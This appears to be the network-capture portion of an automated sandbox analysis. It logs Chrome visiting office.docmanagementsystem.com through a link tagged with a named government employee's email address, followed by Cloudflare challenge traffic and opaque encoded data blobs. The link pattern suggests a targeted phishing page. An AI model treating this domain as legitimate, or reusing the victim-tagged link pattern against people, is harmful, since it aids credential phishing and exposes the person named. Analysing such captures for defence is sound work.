uTzdbO1gkXmRUKGJeOD5OOUFQQ2FFR1JLbUk4cl9vbnFyWEBBQTlVdF98RY6LjkmSSXB9kW51T5p2lE5ll3p1blpemntdZJ6klGiinphspqGccKqkraupiHqRsIiqfph4dH23ka6fn4SjmqSYuq7BsbukzbWWy9jW0aa3mMrU0cGqtJ6+pcDnpNOj3+Pevc3g0NHJ7N7J8rmx9srKsLjh9wHx0fHQ1PD5+gni68no8O4T4vLd5fTnBunr9Qb8/S
2025-01-30 18:24:20 UTC	1369	IN	Data Raw: 50 44 51 39 56 55 4d 6f 57 46 31 59 52 45 63 39 4c 55 5a 57 61 31 64 6c 56 6d 5a 4c 61 46 4d 39 4f 59 4a 2b 54 44 32 47 67 6d 42 42 69 6f 5a 36 52 59 36 4b 6a 6b 6d 53 6a 31 78 4e 6c 70 4e 77 55 5a 71 58 69 6c 57 65 6d 35 35 5a 6f 6c 6d 41 6a 61 46 2b 68 56 2b 71 68 71 52 65 64 61 65 4b 68 58 36 6e 63 33 4a 2b 6c 5a 69 32 67 6e 57 6e 63 71 61 6e 72 62 4f 74 67 4a 65 52 73 4c 75 50 6c 38 43 49 78 35 58 4a 6d 4b 79 4f 78 64 43 77 6a 62 2b 66 72 61 50 4d 6c 64 62 4f 70 35 6d 59 6d 37 4c 42 33 37 4f 75 78 63 6a 70 70 71 53 64 77 39 75 72 32 37 2f 68 75 75 2f 4a 38 63 44 55 74 75 66 34 32 4c 58 6e 78 37 2f 31 2f 63 41 41 32 77 4c 76 39 66 76 31 78 63 72 74 42 42 44 6d 36 73 67 46 79 51 72 51 7a 2b 2f 69 42 64 45 4a 37 41 67 4c 37 65 41 44 43 2f 4d 55 47 51 63 Data Ascii: PDQ9VUMoWF1YREc9LUZWa1dlVmZLaFM9OYJ+TD2GgmBBioZ6RY6KjkmSj1xNlpNwUZqXilWem55ZolmAjaF+hV+qhqRedaeKhX6nc3J+lZi2gnWncqanrbOtgJeRsLuPl8CIx5XJmKyOxdCwjb+fraPMldbOp5mYm7LB37OuxcjppqSdw9ur27/huu/J8cDUtuf42LXnx7/1/cAA2wLv9fv1xcrtBBDm6sgFyQrQz+/iBdEJ7AgL7eADC/MUGQc
2025-01-30 18:24:20 UTC	1369	IN	Data Raw: 6b 46 44 53 6a 45 38 63 7a 4e 66 4d 47 64 31 57 31 6c 4e 5a 6c 39 63 64 7a 6b 30 57 6d 42 4e 66 45 4e 66 52 49 56 6d 64 6f 31 59 62 45 64 77 63 6f 70 31 68 49 43 4f 6c 6d 68 59 54 57 65 51 57 46 2b 53 6f 46 79 44 6c 58 71 67 6b 6d 56 35 59 71 74 2b 66 57 32 6d 6a 36 42 2f 6f 70 4f 6b 6f 4a 69 32 69 48 68 74 76 61 74 36 71 36 37 41 66 4c 4c 45 6b 4a 61 68 6d 70 61 4a 68 37 57 39 6d 37 75 64 76 5a 79 66 30 35 43 50 70 64 6a 49 6b 63 61 5a 72 64 2f 4d 30 63 6e 4c 74 62 4f 2b 6f 4e 33 5a 76 35 7a 41 33 2b 66 6b 32 72 2f 64 77 63 50 49 35 73 72 41 2b 62 44 57 7a 4d 54 71 74 77 47 2f 32 73 45 44 42 64 44 57 43 64 44 7a 77 39 62 46 35 64 33 50 43 38 50 65 41 65 67 41 42 52 6a 6b 47 4f 6e 79 2f 4e 30 52 36 75 38 4c 2b 65 7a 7a 4a 76 58 33 2f 42 6e 2b 39 43 37 6d Data Ascii: kFDSjE8czNfMGd1W1lNZl9cdzk0WmBNfENfRIVmdo1YbEdwcop1hICOlmhYTWeQWF+SoFyDlXqgkmV5Yqt+fW2mj6B/opOkoJi2iHhtvat6q67AfLLEkJahmpaJh7W9m7udvZyf05CPpdjIkcaZrd/M0cnLtbO+oN3Zv5zA3+fk2r/dwcPI5srA+bDWzMTqtwG/2sEDBdDWCdDzw9bF5d3PC8PeAegABRjkGOny/N0R6u8L+ezzJvX3/Bn+9C7m
2025-01-30 18:24:20 UTC	1369	IN	Data Raw: 56 58 56 55 56 61 5a 57 39 52 62 56 78 66 56 57 6c 67 64 30 52 6d 62 6c 46 61 57 55 6d 43 5a 33 36 44 68 58 31 39 63 6f 56 68 67 49 74 66 63 47 35 6a 69 56 71 61 55 49 68 34 6f 47 47 4d 68 4a 57 57 66 6e 71 47 5a 57 64 70 66 47 69 6a 67 58 71 52 6a 70 52 31 73 48 57 75 70 4c 52 35 74 71 69 34 66 62 36 73 76 49 46 37 73 4d 43 46 67 37 54 45 69 59 75 34 79 49 2b 64 72 35 44 46 6f 64 43 71 6a 36 71 50 79 4b 32 54 33 72 65 33 77 4d 6e 58 33 37 6a 64 33 39 53 2b 34 62 71 6c 77 75 57 2b 35 4d 62 70 77 74 4c 4b 37 63 62 4d 30 2f 44 6f 74 66 44 38 75 4e 2f 78 31 66 7a 77 31 4f 2f 31 2b 76 73 43 36 65 6e 57 44 63 33 34 2b 42 48 52 33 42 58 6a 2f 75 58 78 44 51 54 52 44 74 58 6d 38 64 6a 72 45 69 48 31 34 75 45 6c 4a 4f 6a 34 36 79 51 4a 41 43 59 72 45 2b 6f 69 4d Data Ascii: VXVUVaZW9RbVxfVWlgd0RmblFaWUmCZ36DhX19coVhgItfcG5jiVqaUIh4oGGMhJWWfnqGZWdpfGijgXqRjpR1sHWupLR5tqi4fb6svIF7sMCFg7TEiYu4yI+dr5DFodCqj6qPyK2T3re3wMnX37jd39S+4bqlwuW+5MbpwtLK7cbM0/DotfD8uN/x1fzw1O/1+vsC6enWDc34+BHR3BXj/uXxDQTRDtXm8djrEiH14uElJOj46yQJACYrE+oiM
2025-01-30 18:24:20 UTC	1369	IN	Data Raw: 62 55 58 6c 75 58 6b 42 35 65 58 49 38 57 57 64 2f 65 58 52 2b 64 33 78 46 66 46 70 68 6b 32 71 46 54 6e 39 70 57 47 4f 4b 63 46 68 5a 57 56 46 74 6a 48 65 55 58 61 61 6a 63 47 47 71 70 34 52 6c 72 71 75 65 61 62 4b 76 73 6d 32 32 62 5a 53 68 74 5a 4b 5a 63 37 36 61 75 48 4b 4a 75 35 36 5a 6b 70 72 45 76 33 75 69 79 38 54 49 6a 59 7a 47 77 72 79 51 79 73 58 41 6c 4d 37 49 78 4a 6a 53 79 38 69 63 31 74 62 4d 6f 4e 72 5a 30 4b 54 65 33 4e 53 6f 34 74 2f 59 72 4f 62 61 33 4c 44 71 33 65 43 30 37 75 58 6b 75 50 4c 6f 74 74 58 30 7a 4f 37 73 30 2f 44 32 32 77 6b 4a 79 66 6f 4e 32 2b 7a 74 43 50 7a 79 35 75 4d 56 45 68 48 6e 47 4f 6e 72 2f 52 51 41 37 66 30 66 31 50 6f 42 37 53 41 45 2b 76 66 70 49 53 59 65 34 4f 6b 76 47 2b 73 6e 43 53 6f 6e 4e 79 34 59 42 66 Data Ascii: bUXluXkB5eXI8WWd/eXR+d3xFfFphk2qFTn9pWGOKcFhZWVFtjHeUXaajcGGqp4RlrqueabKvsm22bZShtZKZc76auHKJu56ZkprEv3uiy8TIjYzGwryQysXAlM7IxJjSy8ic1tbMoNrZ0KTe3NSo4t/YrOba3LDq3eC07uXkuPLottX0zO7s0/D22wkJyfoN2+ztCPzy5uMVEhHnGOnr/RQA7f0f1PoB7SAE+vfpISYe4OkvG+snCSonNy4YBf
2025-01-30 18:24:20 UTC	1369	IN	Data Raw: 53 34 42 35 68 58 74 36 51 6c 4f 45 5a 47 64 5a 62 6c 78 66 63 6f 69 50 68 49 46 76 64 32 69 5a 6a 6c 74 57 69 59 78 6f 61 6d 4b 6b 63 36 4e 31 64 33 69 6e 66 32 47 4e 69 4b 5a 73 6d 58 2b 61 6f 49 53 4b 6f 49 2b 5a 71 61 5a 30 69 58 57 7a 68 36 79 34 65 36 75 77 77 62 36 69 6c 38 65 5a 6d 35 7a 4c 6f 34 57 78 72 4c 75 6d 76 59 66 53 6b 4b 71 75 6d 62 76 46 7a 5a 43 52 72 64 2f 58 71 37 62 6a 75 37 37 4a 78 4c 62 59 7a 4e 66 64 37 2b 50 53 77 2f 4f 76 37 4d 43 30 34 63 66 69 36 4d 7a 53 36 4e 66 68 38 65 36 38 30 62 37 37 33 67 49 45 78 50 66 4b 43 38 66 6e 37 77 4c 50 33 75 50 4e 42 2b 7a 67 43 67 76 73 37 76 62 5a 2b 41 72 54 33 51 4d 42 39 51 45 53 4b 52 50 63 36 52 77 65 48 77 66 2b 41 4f 30 6a 48 69 55 57 47 54 63 45 44 79 6b 48 44 6b 41 70 45 50 6f Data Ascii: S4B5hXt6QlOEZGdZblxfcoiPhIFvd2iZjltWiYxoamKkc6N1d3inf2GNiKZsmX+aoISKoI+ZqaZ0iXWzh6y4e6uwwb6il8eZm5zLo4WxrLumvYfSkKqumbvFzZCRrd/Xq7bju77JxLbYzNfd7+PSw/Ov7MC04cfi6MzS6Nfh8e680b773gIExPfKC8fn7wLP3uPNB+zgCgvs7vbZ+ArT3QMB9QESKRPc6RweHwf+AO0jHiUWGTcEDykHDkApEPo
2025-01-30 18:24:20 UTC	1369	IN	Data Raw: 32 70 7a 67 32 56 69 65 6e 35 4f 55 47 74 69 6b 47 43 56 67 47 52 75 59 32 6c 55 61 47 75 66 6e 57 74 64 6b 5a 71 6c 6d 33 64 7a 5a 49 74 34 71 48 69 61 6f 5a 79 62 63 4b 65 4e 68 57 32 49 64 33 69 54 73 33 6c 33 6e 37 53 31 73 4d 53 4e 6c 71 53 66 76 4a 36 55 77 34 4f 65 75 72 72 49 6f 35 48 41 76 4b 58 58 72 5a 4f 74 78 63 65 37 71 37 36 65 31 4b 6e 64 73 72 61 67 74 4c 7a 6e 35 75 4c 65 74 4e 71 75 34 4f 6e 73 76 50 48 63 77 38 72 4d 73 63 75 78 78 74 75 32 31 4c 47 33 32 4f 37 75 39 4e 6e 39 2f 65 67 4a 78 4f 73 43 79 63 66 66 43 51 59 42 33 75 4c 64 45 75 59 42 31 4f 6a 77 44 42 45 58 47 2b 2f 5a 45 2f 66 61 34 4f 44 31 39 69 49 48 39 76 73 4f 42 52 38 41 36 41 49 45 46 68 34 57 46 68 59 6f 46 67 30 75 2b 7a 73 6f 4b 52 49 52 4f 78 55 57 4d 53 41 71 Data Ascii: 2pzg2Vien5OUGtikGCVgGRuY2lUaGufnWtdkZqlm3dzZIt4qHiaoZybcKeNhW2Id3iTs3l3n7S1sMSNlqSfvJ6Uw4OeurrIo5HAvKXXrZOtxce7q76e1KndsragtLzn5uLetNqu4OnsvPHcw8rMscuxxtu21LG32O7u9Nn9/egJxOsCycffCQYB3uLdEuYB1OjwDBEXG+/ZE/fa4OD19iIH9vsOBR8A6AIEFh4WFhYoFg0u+zsoKRIROxUWMSAq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49769	104.21.80.1	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:20 UTC	696	OUT	GET /favicon.ico HTTP/1.1 Host: office.docmanagementsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=ola75drb6si4pseg8138m0r2si
2025-01-30 18:24:21 UTC	846	IN	HTTP/1.1 404 Not Found Date: Thu, 30 Jan 2025 18:24:21 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LES3xvShKd8U0Rs0YqkmTScjIUUXo%2FIevL6XXmOFSGgYsHmJvDfiSUZKvvH9tzIaJVxaCHjnk4dmgY8TOFNTblCpN2sw1ny09gmUIovOT4IQQ2imUYVvRCwLfn7J0HJN2Cwj9sgvOoIRnYzLtokI5vw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90a37f922c628c0f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1977&min_rtt=1972&rtt_var=751&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2862&recv_bytes=1274&delivery_rate=1446977&cwnd=229&unsent_bytes=0&cid=322424a974013e00&ts=352&x=0"
2025-01-30 18:24:21 UTC	202	IN	Data Raw: 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c4<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2025-01-30 18:24:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49770	35.190.80.1	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:21 UTC	567	OUT	OPTIONS /report/v4?s=LES3xvShKd8U0Rs0YqkmTScjIUUXo%2FIevL6XXmOFSGgYsHmJvDfiSUZKvvH9tzIaJVxaCHjnk4dmgY8TOFNTblCpN2sw1ny09gmUIovOT4IQQ2imUYVvRCwLfn7J0HJN2Cwj9sgvOoIRnYzLtokI5vw%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://office.docmanagementsystem.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:21 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 30 Jan 2025 18:24:21 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49771	104.18.95.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:21 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/428841705:1738257258:NQS5JLtvOTvofmNpGGjWYSAkW1IksDo4h5s1tOmpDd0/90a37f855bab32ca/gYSngyglqKnIoNO6flATrUA1pCbkbvNWQHtXIG1Zff8-1738261458-1.1.1.1-EyRArk2xBpPRpD9MzfbrwvfbpDZ1kTGSgsVqJoSRjtlfdHufXEcEes1WkwDn1SFH HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:21 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Thu, 30 Jan 2025 18:24:21 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: JHRWsQTk48SEKUxkgcxWLUL2fXesXkmNh9zovryZYQ9ZGvnWicN7Ekmt6rYsle0jcTm8SAwjedKxW4mszSSnPQ==$g0RPTkFyr/y+UI/8MdpXOw== Server: cloudflare CF-RAY: 90a37f981d110f5b-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:24:21 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49773	104.18.94.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:21 UTC	815	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/90a37f855bab32ca/1738261460460/e1eb75eebf556fffc850630d7e7f9bb70b855ce73460d2572b9a736a85c350f5/t-nVrzwK8DkGKlR HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:22 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Thu, 30 Jan 2025 18:24:22 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-30 18:24:22 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 34 65 74 31 37 72 39 56 62 5f 5f 49 55 47 4d 4e 66 6e 2d 62 74 77 75 46 58 4f 63 30 59 4e 4a 58 4b 35 70 7a 61 6f 58 44 55 50 55 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20g4et17r9Vb__IUGMNfn-btwuFXOc0YNJXK5pzaoXDUPUAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-30 18:24:22 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49774	35.190.80.1	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:22 UTC	494	OUT	POST /report/v4?s=LES3xvShKd8U0Rs0YqkmTScjIUUXo%2FIevL6XXmOFSGgYsHmJvDfiSUZKvvH9tzIaJVxaCHjnk4dmgY8TOFNTblCpN2sw1ny09gmUIovOT4IQQ2imUYVvRCwLfn7J0HJN2Cwj9sgvOoIRnYzLtokI5vw%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 483 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:22 UTC	483	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 32 39 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 66 66 69 63 65 2e 64 6f 63 6d 61 6e 61 67 65 6d 65 6e 74 73 79 73 74 65 6d 2e 63 6f 6d 2f 36 6c 37 71 39 2f 3f 65 3d 73 63 6f 74 69 61 6e 61 2e 62 65 6e 6e 65 74 74 40 66 65 72 63 2e 67 6f 76 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 38 30 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 Data Ascii: [{"age":0,"body":{"elapsed_time":1295,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov","sampling_fraction":1.0,"server_ip":"104.21.80.1","status_code":404,"ty
2025-01-30 18:24:22 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 30 Jan 2025 18:24:22 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49776	104.18.94.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:23 UTC	786	OUT	GET /cdn-cgi/challenge-platform/h/b/d/90a37f855bab32ca/1738261460462/wyd_xOB22597l8n HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:23 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:24:23 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 90a37fa05bad42a1-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:24:23 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1b 00 00 00 46 08 02 00 00 00 b2 a6 78 2b 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRFx+IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49779	104.18.95.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:23 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/d/90a37f855bab32ca/1738261460462/wyd_xOB22597l8n HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:23 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:24:23 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 90a37fa439f80f7f-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:24:23 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1b 00 00 00 46 08 02 00 00 00 b2 a6 78 2b 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRFx+IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49780	104.18.94.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:23 UTC	1150	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/428841705:1738257258:NQS5JLtvOTvofmNpGGjWYSAkW1IksDo4h5s1tOmpDd0/90a37f855bab32ca/gYSngyglqKnIoNO6flATrUA1pCbkbvNWQHtXIG1Zff8-1738261458-1.1.1.1-EyRArk2xBpPRpD9MzfbrwvfbpDZ1kTGSgsVqJoSRjtlfdHufXEcEes1WkwDn1SFH HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 35344 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: text/plain;charset=UTF-8 cf-chl: gYSngyglqKnIoNO6flATrUA1pCbkbvNWQHtXIG1Zff8-1738261458-1.1.1.1-EyRArk2xBpPRpD9MzfbrwvfbpDZ1kTGSgsVqJoSRjtlfdHufXEcEes1WkwDn1SFH cf-chl-ra: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:23 UTC	16384	OUT	Data Raw: 51 69 2b 4b 68 6b 57 72 76 47 2b 57 69 49 6f 47 39 4c 76 4b 56 69 70 6f 58 75 57 63 37 58 6e 58 37 78 30 69 6b 6d 37 65 37 6b 2b 37 62 37 70 37 33 4f 47 4b 37 74 2b 4a 6b 37 61 24 4b 64 4c 37 75 4d 37 64 69 57 7a 37 75 30 6f 48 37 48 48 58 78 4b 6e 4b 57 4c 74 47 4b 47 69 37 24 66 37 39 43 39 31 37 47 32 32 41 35 37 2b 76 37 4f 37 49 2b 37 34 56 43 49 50 61 32 37 39 62 47 37 45 37 49 24 4c 76 76 37 4a 37 58 4d 2b 49 6f 33 75 37 41 52 35 49 47 68 32 6e 41 6f 4f 78 37 56 76 6a 37 6b 35 57 76 53 49 4e 37 57 4f 6b 33 37 70 49 66 63 78 6d 37 75 35 78 6e 58 48 74 37 57 76 5a 44 37 6b 49 37 72 64 39 58 37 57 6e 51 4d 4f 6b 67 67 38 41 44 4c 46 37 6e 6c 46 73 79 6e 62 71 65 4c 45 4a 53 72 4f 44 64 72 62 58 55 63 62 68 38 31 33 6e 37 58 4f 6b 51 46 74 4b 4f 66 75 Data Ascii: Qi+KhkWrvG+WiIoG9LvKVipoXuWc7XnX7x0ikm7e7k+7b7p73OGK7t+Jk7a$KdL7uM7diWz7u0oH7HHXxKnKWLtGKGi7$f79C917G22A57+v7O7I+74VCIPa279bG7E7I$Lvv7J7XM+Io3u7AR5IGh2nAoOx7Vvj7k5WvSIN7WOk37pIfcxm7u5xnXHt7WvZD7kI7rd9X7WnQMOkgg8ADLF7nlFsynbqeLEJSrODdrbXUcbh813n7XOkQFtKOfu
